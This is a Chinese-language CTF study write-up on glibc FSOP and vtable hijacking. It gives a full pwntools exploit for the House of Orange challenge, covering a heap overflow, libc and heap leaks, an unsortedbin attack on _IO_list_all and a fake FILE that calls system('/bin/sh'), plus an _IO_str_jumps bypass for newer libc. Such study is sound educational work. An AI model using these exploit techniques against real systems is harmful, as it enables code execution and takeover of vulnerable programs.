IO_file常见利用方法&原理(二)

这次主要学习劫持vtable,构造fsop的手法。主要参考的还是这位师傅的博客。

FSOP最早出现在2016的经典题目house of orange上。并且只存在于libc2.23及之前。但是后期也有别的方法利用,可以参考这篇博客中的签到题。

FSOP

相关知识

fsop的核心是劫持vtable。vtable是位于IO_FILE_plus中的结构体,储存了很多函数指针

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

结构体_IO_jump_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

这19个函数和读写操作关系密切。

*注意,和之前介绍的p stdin不同,之前打印出来的是上面IO_file结构体,而不是vtable。如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p stdin
$3 = (struct _IO_FILE *) 0x7ffff7dcfa00 <_IO_2_1_stdin_>
pwndbg> p *stdin // 注意这里不是vtable!只是_IO_FILE结构
$4 = {
_flags = -72540024,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7dd18d0 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dcfae0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}

之前文章中劫持的是IO_FILE表,注意和这里不同。

使用如下命令查看IO_FILE_plus

1
pwndbg> p *(struct _IO_FILE_plus *) stdin // 打印包含vtable指针的IO_FILE结构体 

image-20220202210502211

直接打印输出中的别名,可以直接输出优化处理的vtable。

image-20220202210312775

劫持vtable的原理就是:修改IO_FILE_plus中的vtable指针,把vtable指向可控的内存,从而布置我们的恶意指针,完成对程序流的控制。具体而言,方法有两种:

  • 直接修改file结构体的指针
  • 伪造整个file结构体

以下为vtable中函数的调用情况,可以考虑劫持这些函数指针。

image-20220202210810239

例子house of orange

在libc<=2.23的fsop有一道经典的题目,House of orange

house of orange并不涉及到以上函数。和其相关的重要结构体是fopen相关的IO_list_all指针。

进程中打开的所有文件结构体使用一个单链表来进行管理,即通过_IO_list_all进行管理,在fopen的分析中,我们知道了fopen是通过_IO_link_in函数将新打开的结构体链接进入_IO_list_all的,相关的代码如下

1
2
3
4
fp->file._flags |= _IO_LINKED;
...
fp->file._chain = (_IO_FILE *) _IO_list_all;
_IO_list_all = fp; // 可以看到采用头插法

我们也可以从代码中看到IO_list_all

image-20220202211443399

如下图看出形成的chain结构体

image-20220202211736243

劫持的主要想法是伪造一个在chain上的file结构体。在程序终止时,libc会调用_IO_flush_all_lockp来刷新file结构体,为保证数据不丢失,刷新缓冲区中的所有数据。此时会调用我们伪造的vtable结构体中的_IO_OVERFLOW。源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // 如果输出缓冲区有数据,刷新输出缓冲区
result = EOF;


fp = fp->_chain; //遍历链表
}
...
}

具体的利用方法为

伪造IO FILE结构体,并利用漏洞将_IO_list_all指向伪造的结构体,或是将该链表中的一个节点(_chain字段)指向伪造的数据,最终触发_IO_flush_all_lockp,绕过检查,调用_IO_OVERFLOW时实现执行流劫持。

注意:只有当输出缓冲区中存在数据的时候,才会调用_IO_OVERFLOW。因此利用的另一个条件是输出缓冲区存在数据。由于一般程序异常终止时会输出报错信息,所以这一点一般可以满足。

漏洞

比较明显的是在upgrade中,使用了之前获取的名称大小来写入,造成堆溢出

image-20220202213826720

但是程序中没有free函数,这就限制了很多堆操作。

调试用命令

1
2
3
4
gdb.attach(io,"b _IO_flush_all_lockp") // 调用abort 会触发的函数
print *(struct _IO_FILE_plus *)_IO_list_all // 显示完整的IO_FILE_plus
print *(struct _IO_FILE_plus *)`_chain中的内容`
print *((struct _IO_FILE_plus *)`_chain中内容`).vtable

思路

由于没有free,首先通过溢出覆盖main_arena的大小使得main_arena被放进unsortedbin中,准备使用unsortedbin attack。之后从unsortedbin中切割一块large chunk泄露堆地址和libc。接着利用溢出改unsortedbin中剩余的地址,构造unsortedbin attack以及伪造的file结构体。最后malloc一个chunk,触发abort完成getshell。

注意unsortedbin attack和伪造的file结构体是写在一个堆块里面的。在malloc出错之前,已经完成了unsortedbin attack。这里老是忘记。

注意

伪造的remainder chunk大小需要满足以下几点

  1. size需要大于0x20(MINSIZE)
  2. prev_inuse位要为1
  3. top chunk address + top chunk size 必须是页对齐的(页大小一般为0x1000)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
filename="./hoo"
libc_name="./libc-2.23.so"
io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

def build(length,name,price):
io.recvuntil('choice :')
io.sendline(str(1))
io.recvuntil('Length of name :')
io.sendline(str(length))
io.recvuntil('Name :')
io.send(name)
io.recvuntil('Price of Orange:')
io.sendline(str(price))
io.recvuntil('Color of Orange:')
io.sendline(str(1))

def see():
io.recvuntil('Your choice :')
io.sendline(str(2))

def upgrade(length,name,price):
io.recvuntil('choice :')
io.sendline(str(3))
io.recvuntil('Length of name :')
io.sendline(str(length))
io.recvuntil('Name:')
io.send(name)
io.recvuntil('Price of Orange:')
io.sendline(str(price))
io.recvuntil('Color of Orange:')
io.sendline(str(1))

def debug():
cmd = ""
cmd+="brva 0xEE6\n"
gdb.attach(io,cmd)
see()


def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, b"\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, b"\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, b'\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, b"\x00")
return file_struct



build(0x28,"aaa",20) # 1
payload1 = b'a'*0x20 + p64(0) + p64(0x21) + p64(0)*3 + p64(0xF90) # for align
upgrade(0x900,payload1,1) # 1
build(0x1000,p64(0xdeadbeef),20) # put into unsortedbin,2
build(0x500,p8(0x88),20) # get from unsortedbin,3
see()
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x3c5188
success("libc_base: " + hex(libc_base))
io_list_all = libc_base + libc.symbols['_IO_list_all']
success("io_list_all: " + hex(io_list_all))
system = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b"/bin/sh\x00").__next__()
io_str_jmp = libc_base + 3946400
upgrade(0x500,b'a'*0xe + b'bb' + p8(0xd0),10) # 2
see()
io.recvuntil('aabb')
heap_info = u64(io.recv(6).ljust(8,b"\x00"))
success("heap_info: " + hex(heap_info))
heap_base = heap_info - 0x0000d0
success("heap_base: " + hex(heap_base)) # leak
# unsortedbin attack # unsorted[0] unsored[1]
payload = b"a"*0x500 + p64(0) + p64(0x21) + p64(0)*2 + b"/bin/sh\x00" + p64(0x60)
fake_file = pack_file(_IO_read_base = io_list_all-0x10,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,)
# vtable
fake_file += p64(heap_base+0x6d8) + p64(0)*2 + p64(system)

payload+=fake_file[0x10:]
upgrade(len(payload),payload,1)
# debug()
# malloc 0x10 to trigger fault
io.recvuntil('choice :')
gdb.attach(io,"b _IO_flush_all_lockp")
io.sendline(str(1))

io.interactive()


流程分析

在最后一个malloc触发abort之后,会依次寻找所有file结构体。调用_IO_overflow函数。首先完成自身的_IO_overflow,接着去_IO_list_all中寻找_chain。但是此时IO_list_all已经被我们unsortedbin attack改掉了。他的chain位置正好是之前被修改size的unsorted chunk(0x60的那个)至于为什么是0x60,可以计算一下main_arena的_chain位置正好就是0x60的bins的位置。

image-20220203134940087

此时chain正是我们伪造的file结构体。我们看一下_chain中伪造的内容。

image-20220203135332227

发现vtable也是可控地址,打印其中内容。

image-20220203135423678

发现__overflow已经被改掉。这说明可以getshell了。由于栈结构不稳定,可能需要多尝试几次。

image-20220203135529574

libc>=2.24

以下为2.24之后的libc对vtable的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

可以看到主要是对vtable指针位置的检查。但是有相应的bypass方法。原理介绍可以看这篇以及ctf-wiki。题目的例子可以看2022hws签到题

image-20220203141700241

这里是直接伪造了vtable而不是_chain字段。此时_IO_list_all里面被写入的是这个chunk的地址。这是因为使用了

1
2
3
4
5
6
7
8
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=binsh_addr,
_mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system) # 伪造payload,vtable为IO_str_jumps-8
# gdb.attach(io,"b _IO_flush_all_lockp")
io.sendline(fake_file[0x10:])

注意_IO_str_jumps代表了一系列堆操作函数的起始位置。从中寻找相应函数是从当前IO_str_jumps位置往后找找到偏移为0x18的位置就是system。于是完成攻击。

此时rbx指向的就是我们的堆起始位置。其0xe8偏移处正好是system(“/bin/sh”)

image-20220203145615862

总结

在2.23之前,FSOP一般使用house of orange,劫持IO_list_all之后由于chain字段在0x60堆块的位置,0x60大小的small chunk正好可以被当作chain指向的内容,从而伪造了一个vtable,调用_IO_overflow完成攻击。

在libc>=2.27时,可以尝试劫持vtable而不是chain来完成FSOP。具体做法只需要将fake file的vtable位置写成IO_str_jumps-8后续再补上system,并且IO_buf_base是”/bin/sh”的指针即可。但是需要注意的是都需要unsortedbin attack来完成劫持IO_list_all到自身(伪造的file结构体)对应的地址。这是成功的关键。

参考链接

https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop

https://ray-cp.github.io/archivers/IO_FILE_vtable_check_and_bypass

https://github.com/ray-cp/pwn_category/blob/master/IO_FILE/vtable_str_jumps/hctf2017-babyprintf/exp.py

https://blog.csdn.net/seaaseesa/article/details/104314949

https://blog.csdn.net/qq_39153421/article/details/115327308

文章目录
  1. 1. FSOP
    1. 1.1. 相关知识
    2. 1.2. 例子house of orange
      1. 1.2.1. 漏洞
      2. 1.2.2. 调试用命令
      3. 1.2.3. 思路
      4. 1.2.4. 注意
      5. 1.2.5. exp
      6. 1.2.6. 流程分析
    3. 1.3. libc>=2.24
    4. 1.4. 总结
    5. 1.5. 参考链接
|